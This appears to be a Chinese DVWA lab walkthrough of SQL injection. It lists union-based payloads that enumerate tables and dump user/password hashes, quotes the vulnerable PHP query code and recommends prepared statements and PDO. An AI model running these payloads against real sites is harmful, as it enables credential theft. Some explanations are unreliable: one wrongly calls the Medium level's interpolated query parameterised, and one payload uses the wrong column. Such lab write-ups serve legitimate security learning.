DVWA靶场通关——SQL Injection篇

一,Low难度下union+get+字符串+select注入

1,首先手工注入判断是否存在SQL注入漏洞,输入1

这是正常回显的结果,再键入1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

发生报错,再键入1"

结果并不报错,这说明单引号的存在破坏了原有语句的闭合;双引号就没有破坏,被当成字符串内容执行。那么推断闭合方式为单引号

2,猜测这是一个经典sql查询语句。通过order by判断至少存在几个字段

1' order by 2#

至少存在两个字段,

1' order by 3#

不存在第三个字段,那么就只有两个字段

3,接着使用union操作符判断回显点 1' union select 1,2#

由此可以看到存在两个回显点,接着参考数据库名和版本

1' union select  database(),version()#

4,对查询语句的限制并不多,可以用union语句开始爆库。

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

使用user表,再报user表下字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

5,最后就爆破出用户和密码字段的内容了,并且使它们成对显示

1' union select user,password from users#

由此,成功通关

查看并分析源码内容

该PHP代码段的主要功能是根据用户输入的id从数据库中查询用户的first_name和last_name,并将结果显示给用户。代码支持两种数据库:MySQL和SQLite。

代码结构

  1. 输入处理:通过$_REQUEST['Submit']判断是否提交了表单,并获取用户输入的id。
  2. 数据库选择:根据$_DVWA['SQLI_DB']的值选择使用MySQL还是SQLite。
  3. 查询执行
    • MySQL:使用mysqli_query执行SQL查询,并通过mysqli_fetch_assoc获取结果。
    • SQLite:使用SQLite3对象执行查询,并通过fetchArray获取结果。
  4. 结果显示:将查询结果格式化为HTML并输出。

安全问题

该代码存在严重的SQL注入漏洞,主要问题在于用户输入的id直接拼接到SQL查询语句中,未进行任何过滤或转义处理。攻击者可以通过构造恶意输入来执行任意SQL命令,从而获取或篡改数据库中的数据。

改进建议

  1. 使用预处理语句:对于MySQL,可以使用mysqli_prepare和mysqli_stmt_bind_param来防止SQL注入。对于SQLite,可以使用SQLite3Stmt类。
  2. 输入验证和过滤:对用户输入进行严格的验证和过滤,确保输入的id是合法的整数。
  3. 错误处理:改进错误处理机制,避免在生产环境中暴露详细的错误信息。

查看源码查询语句

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

这段代码是一个使用PHP和MySQL进行数据库查询的示例。它从users表中选择first_name和last_name,条件是user_id等于变量$id的值。

潜在的安全问题

该代码存在SQL注入的潜在风险,因为$id变量直接嵌入到SQL查询字符串中,没有进行任何形式的转义或预处理。如果$id的值来自用户输入,攻击者可以通过构造恶意输入来执行任意SQL命令。

改进建议

为了防止SQL注入,建议使用预处理语句(Prepared Statements)和参数绑定。以下是改进后的代码示例:

$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], "SELECT first_name, last_name FROM users WHERE user_id = ?");
mysqli_stmt_bind_param(
$stmt, "i", $id);
mysqli_stmt_execute(
$stmt);
$result = mysqli_stmt_get_result($stmt);
if (!$result) {
   
die('<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>');
}

解释

  1. 预处理语句:mysqli_prepare函数创建一个预处理语句,其中?是占位符,用于替换实际的参数。
  2. 参数绑定:mysqli_stmt_bind_param函数将变量$id绑定到预处理语句中的占位符。"i"表示$id是一个整数。
  3. 执行语句:mysqli_stmt_execute函数执行预处理语句。
  4. 获取结果:mysqli_stmt_get_result函数获取查询结果。
  5. 错误处理:如果查询失败,使用mysqli_error函数获取错误信息并终止脚本。

通过这种方式,可以有效防止SQL注入攻击,提高代码的安全性。

二,Medium难度下union+post+整数型+select注入

1,该网页仅允许我们通过下拉表单的格式提交数据

2,可以挂上burpsuite拦截一个包分析一下,

3,那么就可以知到网页使用POST请求方式提交查询语句,并且固定格式为?id=表达数据&Submit=Submit。那么这个POST型注入可以用两种工具解:burp suite和hackbar。为了简单这里使用hackbar

判断闭合方式,输入1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

发生报错,再输入1"还是发生报错。当知道是下拉表达方式提交数据,其实就能判断出是数字型注入了

4,order by操作符判断数据表有几列

id=1 order by 2&Submit=Submit

正常回显,证明至少有2列。id=1 order by 3&Submit=Submit

发生报错,说明数据表只有两列

5,union操作符确定回显位置 id=1 union select 1,2&Submit=Submit

 由此就知道了1,2两个位置都能正常回显数据,再爆出数据库名和数据库版本

id=1 union select database(),version()&Submit=Submit

6,开始爆破数据库中数据表名。

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit

从users数据表里面爆出所有字段名

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'&Submit=Submit

发生报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'users\'' at line 1

错误信息提示在'\'users\''附近有语法问题,可以尝试将users经十六进制编码为0x7573657273以绕过对表名的过滤

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273&Submit=Submit

再爆出user,password数据并且使其成对显示

id=1 union select user,password from users&Submit=Submit

成功爆出账户和密码信息

查看并分析源码内容

  1. 表单提交处理
    1. 代码首先检查是否提交了表单(通过$_POST['Submit']是否设置来判断)。
    2. 如果表单提交,获取用户输入的id,并使用mysqli_real_escape_string函数对输入进行转义,以防止SQL注入。
  2. 数据库查询
    1. 根据$_DVWA['SQLI_DB']的值(MYSQL或SQLITE),代码分别处理MySQL和SQLite数据库的查询。
    2. 对于MySQL数据库,使用mysqli_query执行查询,并使用mysqli_fetch_assoc获取结果。
    3. 对于SQLite数据库,使用$sqlite_db_connection->query执行查询,并使用fetchArray获取结果。
  3. 结果显示
    1. 查询结果通过循环遍历,将每个用户的first_name和last_name格式化后显示在页面上。
  4. 统计用户数量
    1. 代码最后执行一个查询,统计users表中的用户总数,并将结果存储在$number_of_rows变量中。
  5. 数据库连接关闭
    1. 代码在最后关闭了MySQL数据库连接(mysqli_close)。

改进建议

  1. 使用预处理语句
    • 对于MySQL,建议使用mysqli_prepare和mysqli_stmt_bind_param来执行查询。
    • 对于SQLite,可以使用sqlite3_prepare和sqlite3_bind_param。
  2. 错误处理
    • 在生产环境中,建议捕获异常并记录日志,而不是直接输出错误信息。
  3. 代码结构优化
    • 将数据库连接和查询逻辑封装到函数或类中,提高代码的可维护性和可读性。

medium难度和lowphp源码相比

输入处理方式

在第一段代码中,$id 变量直接从 $_REQUEST 数组中获取,并且没有进行任何转义或过滤处理。这意味着 $id 变量可能包含用户输入的恶意数据,存在SQL注入风险。

$id = $_REQUEST[ 'id' ];

在第二段代码中,$id 变量同样从 $_POST 数组中获取,但在传递给SQL查询之前,使用 mysqli_real_escape_string 函数对其进行了转义处理,从而减少了SQL注入的风险。

$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

SQL查询语句

在第一段代码中,SQL查询语句直接将 $id 变量嵌入到字符串中,这可能导致SQL注入攻击。

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

在第二段代码中,SQL查询语句将 $id 变量作为参数传递,而不是直接嵌入到字符串中,这使得SQL注入攻击更难以成功。

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

数据库连接关闭

两段代码在处理完数据库查询后都关闭了数据库连接,这一点是相同的。

mysqli_close($GLOBALS["___mysqli_ston"]);

总结

  • 安全性:第二段代码通过使用 mysqli_real_escape_string 函数对用户输入进行转义处理,显著提高了代码的安全性,减少了SQL注入的风险。
  • 输入来源:第一段代码从 $_REQUEST 数组中获取输入,而第二段代码从 $_POST 数组中获取输入,后者更明确地限制了输入来源。
  • SQL查询:第二段代码的SQL查询语句更安全,因为它避免了直接将用户输入嵌入到查询字符串中。

三,low难度下

1,观察一下页面,发现是给定一个弹窗让我们change ID

直接输入1的效果如下

burpsuite拦截直接抓个包看看

当我在弹窗里面输入1测试,发现提交请求方式变成了POST

2,判断一下字符串闭合方式,输入1'

发生报错,再输入1"

没有发生报错,那么猜测为闭合方式为单引号(输入1'#就能不报错证明)

3,order by判断存在字段数 1' order by 2#

证明至少有2列存在,再输入 1' order by 3#

那么该数据表就只有两列

4,union操作符判断数据回显位置

回显位置存在两个,爆一下数据库名和数据库版本

1' union select database(),version()#

5,爆出数据表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

再爆数据库名

1' union select 1,group_concat(column_name) from information_schema.columns where column_name='users'#

爆出用户名和密码

1' union select user,password from users #

成功通关

查看并分析源码内容

安全性问题

  1. SQL注入漏洞:代码中直接将用户输入的$id变量插入到SQL查询中,存在SQL注入风险。攻击者可以通过构造恶意输入来执行任意SQL命令。
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    解决方法:使用预处理语句(Prepared Statements)来防止SQL注入。
  2. 错误信息暴露:代码中直接将数据库错误信息输出到前端,可能会暴露敏感信息给攻击者。
    or die( '<pre>Something went wrong.</pre>' );
    解决方法:记录错误信息到日志文件,而不是直接输出到前端。

代码优化建议

  1. 代码格式化:代码中的双括号{{和}}是多余的,可以删除以提高代码可读性。
  2. 错误处理:在SQLite部分,错误处理不够完善,可以改进以提供更详细的错误信息。
  3. 数据库连接管理:在MySQL部分,数据库连接的关闭操作可以更简洁地实现。

四,impossible难度下

<<DVWA靶场——impossible难度SQL注入的源码分析.md>>

代码功能概述

该PHP代码的主要功能是根据用户提供的id参数,从数据库中查询对应的用户信息(包括first_name和last_name),并将查询结果显示给用户。代码支持两种数据库类型:MySQL和SQLite。

安全措施

  1. Anti-CSRF Token: 代码中使用了checkToken函数来验证用户提交的user_token是否与session_token匹配,以防止跨站请求伪造(CSRF)攻击。
  2. 输入验证: 代码通过is_numeric函数检查id是否为数字,并使用intval将其转换为整数,以防止SQL注入攻击。
  3. 参数化查询: 无论是MySQL还是SQLite,代码都使用了参数化查询(Prepared Statements)来执行SQL查询,进一步防止SQL注入攻击。

数据库操作

  1. MySQL:
    • 使用PDO(PHP Data Objects)进行数据库操作。
    • 通过bindParam方法将id参数绑定到SQL查询中。
    • 执行查询后,检查返回的行数是否为1,以确保只返回一条记录。
  2. SQLite:
    • 使用SQLite3扩展进行数据库操作。
    • 通过bindValue方法将id参数绑定到SQL查询中。
    • 由于SQLite3没有直接获取行数的方法,代码通过检查返回的列数来确保查询结果的正确性。

输出结果

  • 如果查询成功,代码将用户的id、first_name和last_name以HTML格式输出到页面上。
  • 如果查询失败或没有找到匹配的记录,代码不会输出任何信息。

数据库PDO技术

根据搜索结果,我们可以了解到,PDO(PHP Data Objects)是PHP中用于数据库操作的一种技术。以下是对数据库PDO技术的详细介绍:

1. 什么是PDO?

PDO是PHP内置的一个数据库抽象层,它提供了一个统一的数据库访问接口,支持多种数据库管理系统(如MySQL、PostgreSQL等)。使用PDO,开发者可以更轻松地连接数据库、执行查询,并处理结果集。

2. 安装和配置PDO

在使用PDO之前,需要确保PHP环境中已启用PDO扩展。通常,PDO是PHP默认安装的一部分,但可以在php.ini 文件中检查以下行是否被注释:

extension=pdo_mysql

3. 建立数据库连接

使用PDO连接数据库非常简单。以下是一个基本的连接示例:

try {
   
$pdo = new PDO('mysql:host=localhost;dbname=testdb', 'username', 'password');
   
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
}
catch (PDOException $e) {
   
echo '连接失败: ' . $e->getMessage();
}

在这个示例中,我们使用mysql:host和dbname来指定数据库的主机和名称,并设置错误模式,以便捕获异常。

4. 使用预处理语句防止SQL注入

为了安全地执行数据库操作,建议使用预处理语句。预处理语句允许我们在执行查询时将参数绑定,从而避免SQL注入攻击。以下是一个INSERT语句的示例:

$stmt = $pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');
$stmt->execute(['name' => $userName, 'email' => $userEmail]);

在这个示例中,:name和:email是参数占位符,实际的值在执行时通过关联数组传入。

5. 更新和删除数据

更新和删除数据同样可以使用预处理语句。例如:

// 更新用户信息
$stmt = $pdo->prepare('UPDATE users SET email=:email WHERE name=:name');
$stmt->execute(['email' => $newEmail, 'name' => $userName]);
 

// 删除用户
$stmt = $pdo->prepare('DELETE FROM users WHERE name=:name');
$stmt->execute(['name' => $userName]);

6. 事务处理

在涉及多个数据库操作时,使用事务可以确保数据一致性。如果其中一条操作失败,可以回滚所有操作。以下是事务处理的示例:

try {
   
// 开始事务
    $pdo->beginTransaction();
 
   
// 执行多个操作
    $stmt1 = $pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');
   
$stmt1->execute(['name' => 'Alice', 'email' => 'alice@example.com']);
 
   
$stmt2 = $pdo->prepare('INSERT INTO orders (user_id, product) VALUES (:user_id, :product)');
   
$stmt2->execute(['user_id' => $pdo->lastInsertId(), 'product' => 'Product A']);
 
   
// 提交事务
    $pdo->commit();
}
catch (Exception $e) {
   
// 回滚事务
    $pdo->rollBack();
   
echo '操作失败: ' . $e->getMessage();
}

在这个示例中,我们开始一个事务并执行多个操作。如果任何一条操作失败,我们将回滚事务,确保数据的一致性。

7. 错误处理

PDO提供了强大的错误处理机制。可以通过设置错误模式来捕获异常,确保我们能及时处理错误:

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
 

try {
   
// 数据库操作
} catch (PDOException $e) {
   
echo '数据库错误: ' . $e->getMessage();
}

8. 最佳实践

  • 使用参数化查询:总是使用预处理语句来执行查询,以避免SQL注入。
  • 确保正确配置数据库连接和错误处理。
  • 使用事务处理来确保数据一致性。

通过以上介绍,我们可以看到PDO技术在PHP数据库操作中的重要性和实用性。它不仅简化了数据库操作,还提供了安全的机制来防止SQL注入和其他潜在的安全问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/916343.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

无人机飞手执照处处需要,森林、石油管道、电力巡检等各行业都需要

无人机飞手执照在多个行业中确实具有广泛的应用需求&#xff0c;包括森林、石油管道、电力巡检等领域。以下是对这些领域无人机飞手执照需求的具体分析&#xff1a; 一、森林领域 在森林领域&#xff0c;无人机飞手执照对于进行高效、准确的森林资源管理和监测至关重要。无人机…

基于YOLO11/v10/v8/v5深度学习的水面垃圾智能检测识别系统设计与实现【python源码+Pyqt5界面+数据集+训练代码】

《------往期经典推荐------》 一、AI应用软件开发实战专栏【链接】 项目名称项目名称1.【人脸识别与管理系统开发】2.【车牌识别与自动收费管理系统开发】3.【手势识别系统开发】4.【人脸面部活体检测系统开发】5.【图片风格快速迁移软件开发】6.【人脸表表情识别系统】7.【…

家政服务小程序,家政行业数字化发展下的优势

今年以来&#xff0c;家政市场需求持续增长&#xff0c;市场规模达到了万亿级别&#xff0c;家政服务行业成为了热门行业之一&#xff01; 家政服务种类目前逐渐呈现了多样化&#xff0c;月嫂、保姆、做饭保洁、收纳、维修等家政种类不断出现&#xff0c;满足了居民日益增长的…

音视频入门基础:MPEG2-TS专题(3)——TS Header简介

注&#xff1a;本文有部分内容引用了维基百科&#xff1a;https://zh.wikipedia.org/wiki/MPEG2-TS 一、引言 本文对MPEG2-TS格式的TS Header进行简介。 进行简介之前&#xff0c;请各位先下载MPEG2-TS的官方文档。ITU-T和ISO/IEC都分别提供MPEG2-TS的官方文档。但是ITU提供的…

Spring Boot框架:构建符合工程认证的计算机课程

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常…

【ubuntu16.04】机器人学习笔记遇到的问题及解决办法:仿真小海龟

18版本的后面会出问题&#xff0c;避免万一我还是用了之前的16版本&#xff0c;虽然还没有解决粘贴的问题&#xff0c;但是安装ros很成功 可参考该文章博主讲的很详细&#xff0c;成功画出海龟 最后要把鼠标停在第三个终端&#xff0c;再去点击键盘&#xff0c;海龟才会动哦

Unity学习---IL2CPP打包时可能遇到的问题

写这篇主要是怕自己之后打包的时候出问题不知道怎么搞&#xff0c;所以记录一下。 问题一&#xff1a;类型裁剪 IL2CPP打包后会自动对Unity工程的dll进行裁剪&#xff0c;将代码中没有引用到的类型裁剪掉。特别是通过反射等方式调用一些类的时候&#xff0c;很容易出问题。 …

批量将MySQL中的MyISAM引擎,改成InnoDB引擎

一、InnoDB和MyISAM的区别 MySQL中InnoDB和MyISAM是两种常用的存储引擎&#xff0c;具有以下不同的特点&#xff1a; 序号InnoDBMyISAM说明事务支持支持不支持InnoDB可以处理更复杂的业务逻辑&#xff0c;而MyISAM在处理大量并发写入时可能会遇到问题‌锁定机制行级锁定表级锁…

认证鉴权框架SpringSecurity-1--概念和原理篇

1、基本概念 Spring Security 是一个强大且高度可定制的框架&#xff0c;用于构建安全的 Java 应用程序。它是 Spring 生态系统的一部分&#xff0c;提供了全面的安全解决方案&#xff0c;包括认证、授权、CSRF防护、会话管理等功能。 2、认证、授权和鉴权 &#xff08;1&am…

C++11新特性(二)

目录 一、C11的{} 1.初始化列表 2.initializer_list 二、可变参数模版 1.语法与原理 2.包扩展 3.empalce接口 三、新的类功能 四、lambda 1.语法 2.捕捉列表 3.原理 五、句装器 1.function 2.bind 一、C11的{} 1.初始化列表 C11以后想统⼀初始化⽅式&#xff0…

Nginx配置自带的stub状态实现活动监控指标

场景 为了确保应用以最佳性能和精度运行&#xff0c;需要清晰地了解有关其活动的监控指标。 NGINX 提供了多种监控选项&#xff0c;例如 stub 状态。 注&#xff1a; 博客&#xff1a;霸道流氓气质-CSDN博客 实现 启用 NGINX stub 状态 启用 NGINX HTTP 服务器内 locati…

RabbitMQ-死信队列(golang)

1、概念 死信&#xff08;Dead Letter&#xff09;&#xff0c;字面上可以理解为未被消费者成功消费的信息&#xff0c;正常来说&#xff0c;生产者将消息放入到队列中&#xff0c;消费者从队列获取消息&#xff0c;并进行处理&#xff0c;但是由于某种原因&#xff0c;队列中的…

Redisson的可重入锁

初始状态&#xff1a; 表示系统或资源在没有线程持有锁的情况下的状态&#xff0c;任何线程都可以尝试获取锁。 线程 1 获得锁&#xff1a; 线程 1 首次获取了锁并进入受保护的代码区域。 线程 1 再次请求锁&#xff1a; 在持有锁的情况下&#xff0c;线程 1 再次请求锁&a…

java程序打包及执行 jar命令及运行jar文件

java程序打包及执行 jar命令及运行jar文件 打包命令&#xff1a; 安装完成jdk之后采用 jar命令进行打包 jar -cvfe ddd.jar -C bin/ddd.java 打包 ddd.java 文件 jar -cvfe dddd.jar -C . 注意 -C 后面的点. 表示当前目录下所有 如图&#xff1a; 运行jar 文件 java -class…

视频孪生技术在金融银行网点场景中的应用价值

作为国民经济重要的基础行业&#xff0c;金融行业在高速发展的同时衍生出业务纠纷、安全防范、职能管理等诸多问题&#xff0c;对安全防范和监督管理提出了更高的要求。因此&#xff0c;如何能更好的利用视频监控系统价值&#xff0c;让管理人员更简便的浏览监控视频、更快速的…

SpringCloud OpenFeign负载均衡远程调用 跨服务调用 连接池优化

介绍 Spring Cloud OpenFeign 是 Spring Cloud 的一部分&#xff0c;提供了一种声明式的 HTTP 客户端方式来简化服务间的通信。通过 OpenFeign&#xff0c;开发者可以像调用本地方法一样&#xff0c;轻松地调用远程服务&#xff0c;而不需要手动处理 HTTP 请求、响应和连接等底…

Go语言实现用户登录Web应用

文章目录 1. Go语言Web框架1.1 框架比较1.2 安装Gin框架 2. 实现用户登录功能2.1 创建项目目录2.2 打开项目目录2.3 创建登录Go程序2.4 创建模板页面2.4.1 登录页面2.4.2 登录成功页面2.4.3 登录失败页面 3. 测试用户登录项目3.1 运行登录主程序3.2 访问登录页面3.3 演示登录成…

2024算法基础公选课练习三(DFS1)(1)

一、前言 dfs是初学者的重点&#xff0c;也是难点&#xff0c;这次的有些题目也不好写。题目有点多&#xff0c;因此分成&#xff08;1&#xff09;和&#xff08;2&#xff09; 二、题目总览 三、具体题目 3.1 问题 A: 贪心——排队接水 思路 贪心&#xff0c;把接水时间短…

数据库参数备份

MySQL #!/bin/bash # 获取当前日期和时间的时间戳 TIMESTAMP$(date "%Y%m%d-%H%M%S")# 0、创建目录 mkdir /tmp/parameter_$TIMESTAMP/# 1、获取所有命名空间 echo "1、获取所有命名空间" NAMESPACES$(kubectl get ns | grep qfusion- | grep -v qfusion-…

Kconfig 知道的!与不知道的?

1 Kconfig 的重要性 Kconfig 是 Linux 内核配置系统的重要工具&#xff0c;它通过定义和管理配置选项&#xff0c;使开发者能够灵活地调整内核模块。无论是精简内核以适配嵌入式系统&#xff0c;还是为桌面应用扩展功能&#xff0c;Kconfig 都在其中扮演着关键角色。本文将带领…